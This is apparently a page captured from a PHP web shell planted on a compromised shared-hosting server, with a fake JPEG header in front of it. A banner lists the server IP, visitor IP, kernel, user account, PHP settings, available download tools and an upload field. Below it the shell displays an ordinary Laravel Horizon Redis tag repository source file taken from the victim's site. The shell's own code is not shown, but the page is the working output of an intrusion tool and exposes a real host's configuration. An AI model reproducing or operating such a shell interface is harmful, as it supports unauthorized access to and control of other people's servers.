����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/laravel/horizon/src/Repositories/ |
Upload File : |
<?php
namespace Laravel\Horizon\Repositories;
use Illuminate\Contracts\Redis\Factory as RedisFactory;
use Laravel\Horizon\Contracts\TagRepository;
class RedisTagRepository implements TagRepository
{
/**
* The Redis connection instance.
*
* @var \Illuminate\Contracts\Redis\Factory
*/
public $redis;
/**
* Create a new repository instance.
*
* @param \Illuminate\Contracts\Redis\Factory $redis
* @return void
*/
public function __construct(RedisFactory $redis)
{
$this->redis = $redis;
}
/**
* Get the currently monitored tags.
*
* @return array
*/
public function monitoring()
{
return (array) $this->connection()->smembers('monitoring');
}
/**
* Return the tags which are being monitored.
*
* @param array $tags
* @return array
*/
public function monitored(array $tags)
{
return array_intersect($tags, $this->monitoring());
}
/**
* Start monitoring the given tag.
*
* @param string $tag
* @return void
*/
public function monitor($tag)
{
$this->connection()->sadd('monitoring', $tag);
}
/**
* Stop monitoring the given tag.
*
* @param string $tag
* @return void
*/
public function stopMonitoring($tag)
{
$this->connection()->srem('monitoring', $tag);
}
/**
* Store the tags for the given job.
*
* @param string $id
* @param array $tags
* @return void
*/
public function add($id, array $tags)
{
$this->connection()->pipeline(function ($pipe) use ($id, $tags) {
foreach ($tags as $tag) {
$pipe->zadd($tag, str_replace(',', '.', microtime(true)), $id);
}
});
}
/**
* Store the tags for the given job temporarily.
*
* @param int $minutes
* @param string $id
* @param array $tags
* @return void
*/
public function addTemporary($minutes, $id, array $tags)
{
$this->connection()->pipeline(function ($pipe) use ($minutes, $id, $tags) {
foreach ($tags as $tag) {
$pipe->zadd($tag, str_replace(',', '.', microtime(true)), $id);
$pipe->expire($tag, $minutes * 60);
}
});
}
/**
* Get the number of jobs matching a given tag.
*
* @param string $tag
* @return int
*/
public function count($tag)
{
return $this->connection()->zcard($tag);
}
/**
* Get all of the job IDs for a given tag.
*
* @param string $tag
* @return array
*/
public function jobs($tag)
{
return (array) $this->connection()->zrange($tag, 0, -1);
}
/**
* Paginate the job IDs for a given tag.
*
* @param string $tag
* @param int $startingAt
* @param int $limit
* @return array
*/
public function paginate($tag, $startingAt = 0, $limit = 25)
{
$tags = (array) $this->connection()->zrevrange(
$tag, $startingAt, $startingAt + $limit - 1
);
return collect($tags)->values()->mapWithKeys(function ($tag, $index) use ($startingAt) {
return [$index + $startingAt => $tag];
})->all();
}
/**
* Remove the given job IDs from the given tag.
*
* @param array|string $tags
* @param array|string $ids
* @return void
*/
public function forgetJobs($tags, $ids)
{
$this->connection()->pipeline(function ($pipe) use ($tags, $ids) {
foreach ((array) $tags as $tag) {
foreach ((array) $ids as $id) {
$pipe->zrem($tag, $id);
}
}
});
}
/**
* Delete the given tag from storage.
*
* @param string $tag
* @return void
*/
public function forget($tag)
{
$this->connection()->del($tag);
}
/**
* Get the Redis connection instance.
*
* @return \Illuminate\Redis\Connections\Connection
*/
protected function connection()
{
return $this->redis->connection('horizon');
}
}